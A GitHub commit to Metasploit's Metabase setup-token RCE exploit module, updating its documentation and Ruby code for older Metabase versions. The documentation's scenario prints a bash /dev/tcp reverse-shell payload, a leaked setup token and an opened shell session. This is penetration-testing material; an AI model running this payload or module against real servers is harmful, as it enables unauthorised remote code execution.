Skip to content

Commit 3bd875c

Browse files
Land rapid7#19563, Update metabase setuptoken rce to support older versions
2 parents 70eed21 + 7b400f1 commit 3bd875c

File tree

2 files changed

+30
-8
lines changed

2 files changed

+30
-8
lines changed

documentation/modules/exploit/linux/http/metabase_setup_token_rce.md

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,16 @@ When creating a new database, an H2 database string is created with a TRIGGER
77
that allows for code execution. We use a sample database for our connection
88
string to prevent corrupting real databases.
99

10-
Successfully tested against Metabase 0.46.6.
10+
Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
1111

1212
### Install
1313

14+
Example of impacted versions:
15+
1416
```
15-
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
17+
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.46.6
18+
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.44.4
19+
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.42.1
1620
```
1721

1822
## Verification Steps
@@ -28,6 +32,24 @@ docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
2832

2933
## Scenarios
3034

35+
### Metabase 0.42.1 on Docker
36+
37+
```
38+
msf6 exploit(linux/http/metabase_setup_token_rce) > run rhost=192.168.123.1 lhost=192.168.123.1 rport=3000
39+
[*] Reloading module...
40+
41+
[+] bash -c '0<&30-;exec 30<>/dev/tcp/192.168.123.1/4444;sh <&30 >&30 2>&30'
42+
[*] Started reverse TCP handler on 192.168.123.1:4444
43+
[*] Running automatic check ("set AutoCheck false" to disable)
44+
[+] The target appears to be vulnerable. Version Detected: 0.42.1
45+
[+] Found setup token: e02ce681-0cf7-416f-a205-75656b168b4c
46+
[*] Sending exploit (may take a few seconds)
47+
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.1:58422) at 2024-10-17 09:59:25 +0100
48+
49+
whoami
50+
metabase
51+
```
52+
3153
### Metabase 0.46.6 on Docker
3254

3355
```

modules/exploits/linux/http/metabase_setup_token_rce.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def initialize(info = {})
2222
that allows for code execution. We use a sample database for our connection
2323
string to prevent corrupting real databases.
2424
25-
Successfully tested against Metabase 0.46.6.
25+
Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
2626
},
2727
'License' => MSF_LICENSE,
2828
'Author' => [
@@ -62,10 +62,10 @@ def initialize(info = {})
6262
)
6363
end
6464

65-
def get_bootstrap_json_blob_from_html_resp(html)
66-
%r{<script type="application/json" id="_metabaseBootstrap">([^>]+)</script>} =~ html
65+
def get_bootstrap_json_blob_from_html_resp(res)
66+
metabase_bootstrap = res.get_html_document.xpath('//script[@id="_metabaseBootstrap"]').text
6767
begin
68-
JSON.parse(Regexp.last_match(1))
68+
JSON.parse(metabase_bootstrap)
6969
rescue JSON::ParserError, TypeError
7070
print_bad('Unable to parse JSON blob')
7171
nil
@@ -81,7 +81,7 @@ def check
8181
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
8282
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
8383

84-
json = get_bootstrap_json_blob_from_html_resp(res.body)
84+
json = get_bootstrap_json_blob_from_html_resp(res)
8585
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
8686
version = json.dig('version', 'tag')
8787
return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?
@@ -103,7 +103,7 @@ def exploit
103103
)
104104
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
105105
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
106-
json = get_bootstrap_json_blob_from_html_resp(res.body)
106+
json = get_bootstrap_json_blob_from_html_resp(res)
107107
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
108108
setup_token = json['setup-token']
109109
if setup_token.nil?

0 commit comments

Comments
 (0)